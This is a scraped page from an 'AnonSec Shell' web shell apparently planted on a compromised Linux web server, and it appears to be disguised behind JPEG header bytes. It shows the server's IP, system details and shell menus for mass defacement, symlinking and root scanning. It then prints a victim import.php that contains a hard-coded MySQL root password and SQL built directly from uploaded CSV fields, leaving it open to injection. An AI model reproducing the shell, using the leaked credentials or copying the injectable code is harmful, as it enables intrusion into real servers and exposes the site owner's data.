JFIF  H H C nxxd C "     &    !1A2Q"aqBb    1   ? R{~ ,.Y| @sl_޸s[+6ϵG};?2Y`&9LP ?3rj  "@V]:3T -G*P ( *(@AEY]qqqALn +Wtu?)l QU T* Aj- x:˸T u53Vh @PS@ ,i,!"\hPw+E@ ηnu ڶh% (Lvũbb- ?M֍݌٥IHln㏷L(6 9L^"6P  d&1H&8@TUT CJ%eʹFTj4i5=0g J &Wc+3kU@PS@HH33M * "Uc(\`F+b{RxWGk ^#Uj*v' V ,FYKɠMckZٸ]ePP  d\A2glo=WL(6 ^;k"ucoH"b ,PDVlvL_/:̗rN\m dcw T-O$w+FZ5T *Y~l: 99U)8ZAt@GLX*@bijqW;MᎹ،O[5*5*@=qusݝ *EPx՝.~ YИ 3M3@E)GTg%Anp P MUҀhԳW c֦iZ ffR 7qMcyAZT c0bZU k+oG<] APQ T A={PDti@c>>KÚ"q L.1P k6QY7t.k7o  <P &yַܼJZy Wz{UrS @ ~P)Y:A"]Y&ScVO%17 6l4 i4YR5 ruk* ؼdZͨZZ cLakb3N6æ\1`XTloTuT AA 7Uq@2ŬzoʼnБRͪ&8}: e}0ZNΖJ*Ս9˪ޘtao]7$ 9EjS} qt" ( .=Y:V#'H: δ4#6yjѥBB ;WD-ElFf67*\AmAD Q __'2$ TX 9nu'm@iPDT qS`%u%3[nY,  :g = tiX H]ij"+6Z* .~|05s6 ,ǡ ogm+ KtE-BF  ES@(UJ xM~8%g/= Vw[Vh 3lJT  rK -kˎY ٰ  ,ukͱٵf sXDP  ]p]&MS95O+j &f6m463@ t8ЕX=6}HR 5ٶ06 /@嚵*6  " hP@eVDiYQT `7tLf4c?m//B4 laj  L} :E  b#PHQb, yN`rkAb^ |} s4XB4 * ,@[{Ru+%le2} `,kI$U` >OMuh  P % ʵ/ L\5aɕVN1R6 3}ZLj-Dl@ *( K\^i@F@551 k㫖h  Q沬#h XV +;]6z OsFpiX $OQ ) ųl4 YtK'(W AnonSec Shell
AnonSec Shell
Server IP : 20.75.53.88  /  Your IP : 216.73.217.165   [ Reverse IP ]
Web Server : Apache
System : Linux VMRALP-3 4.4.0-256-generic #290~14.04.1-Ubuntu SMP Thu Jun 20 09:24:50 UTC 2024 x86_64
User : www-data ( 33)
PHP Version : 5.5.9-1ubuntu4.29+esm15
Disable Function : pcntl_alarm,pcntl_fork,pcntl_waitpid,pcntl_wait,pcntl_wifexited,pcntl_wifstopped,pcntl_wifsignaled,pcntl_wexitstatus,pcntl_wtermsig,pcntl_wstopsig,pcntl_signal,pcntl_signal_dispatch,pcntl_get_last_error,pcntl_strerror,pcntl_sigprocmask,pcntl_sigwaitinfo,pcntl_sigtimedwait,pcntl_exec,pcntl_getpriority,pcntl_setpriority,
Domains : 3 Domains
MySQL : ON  |  cURL : OFF  |  WGET : ON  |  Perl : ON  |  Python : ON  |  Sudo : ON  |  Pkexec : ON
Directory :  /proc/22664/cwd/html/apitce/dev/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Command :


[ HOME ]     [ BACKUP SHELL ]     [ JUMPING ]     [ MASS DEFACE ]     [ SCAN ROOT ]     [ SYMLINK ]     

Current File : /proc/22664/cwd/html/apitce/dev/import.php
<?php
//connect to the database 
$connect = mysql_connect("localhost","root","jklsr0xx"); 
mysql_select_db("auditoria",$connect); //select the table 
// 
// $grupo = $_POST['cod_itemgrupo'];
// $subgrupo = $_POST['cod_subgrupo'];

if ($_FILES[csv][size] > 0) { 

    //get the csv file 
    $file = $_FILES[csv][tmp_name]; 
    $handle = fopen($file,"r");

    $table = "notas_pagamentos";

//$arquivo = 'itemlimpeza.csv';

//$objeto = fopen($handle, 'r');

    while (($dados = fgetcsv($handle, 1024, ";","'")) !== FALSE) {

        $data_emissao_empenho =  date("Y-m-d H:i", strtotime($dados[4]));
        $data_referencia =  date("Y-m-d H:i", strtotime($dados[8]));
        $data_nota_pagamento =  date("Y-m-d H:i", strtotime($dados[10]));

        $sql = "INSERT INTO $table (codigo_municipio, exercicio_orcamento, codigo_orgao, codigo_unidade, data_emissao_empenho, numero_empenho, numero_sub_empenho, numero_nota_pagamento, data_referencia, nu_documento_caixa, data_nota_pagamento, valor_nota_pagamento, valor_empenhado_a_pagar, estado_de_estornado, cpf_pagador, nome_pagador) VALUES ('$dados[0]','$dados[1]','$dados[2]','$dados[3]','$data_emissao_empenho','$dados[5]','$dados[6]','$dados[7]',
                                               '$data_referencia','$dados[9]','$data_nota_pagamento','$dados[11]','$dados[12]','$dados[13]','$dados[14]','$dados[15]')".";";
    //mysql_query($sql) or die(mysql_error());
    //$re = mysql_insert_id();
    //return $re;   
        echo $sql."<br>";
    }
    header('Location: test2.php?success=1'); die;
//fclose($dados);
}

?>

<!DOCTYPE html PUBLIC "-//W3C//DTD XHTML 1.0 Transitional//EN" "http://www.w3.org/TR/xhtml1/DTD/xhtml1-transitional.dtd"> 
<html xmlns="http://www.w3.org/1999/xhtml"> 
<head> 
    <meta http-equiv="Content-Type" content="text/html; charset=iso-8859-1" /> 
    <title>Import a CSV File with PHP & MySQL</title> 
</head> 

<body> 

    <?php if (!empty($_GET[success])) { echo "<b>Your file has been imported.</b><br><br>"; } //generic success notice ?> 

    <form action="" method="post" enctype="multipart/form-data" name="form1" id="form1"> 
        <select name="cod_itemgrupo" class='text'  >
            <option  value="BC">BC-MATERIAL DE CONSUMO</option>
        </select><BR>
        <select name="cod_subgrupo" class='text'  >
            <option  value="22">LIMPEZA</option>
        </select><BR>



        <input name="csv" type="file" id="csv" /> 
        <input type="submit" name="Submit" value="Submit" /> 
    </form> 
</body> 
</html> 

Anon7 - 2022
AnonSec Team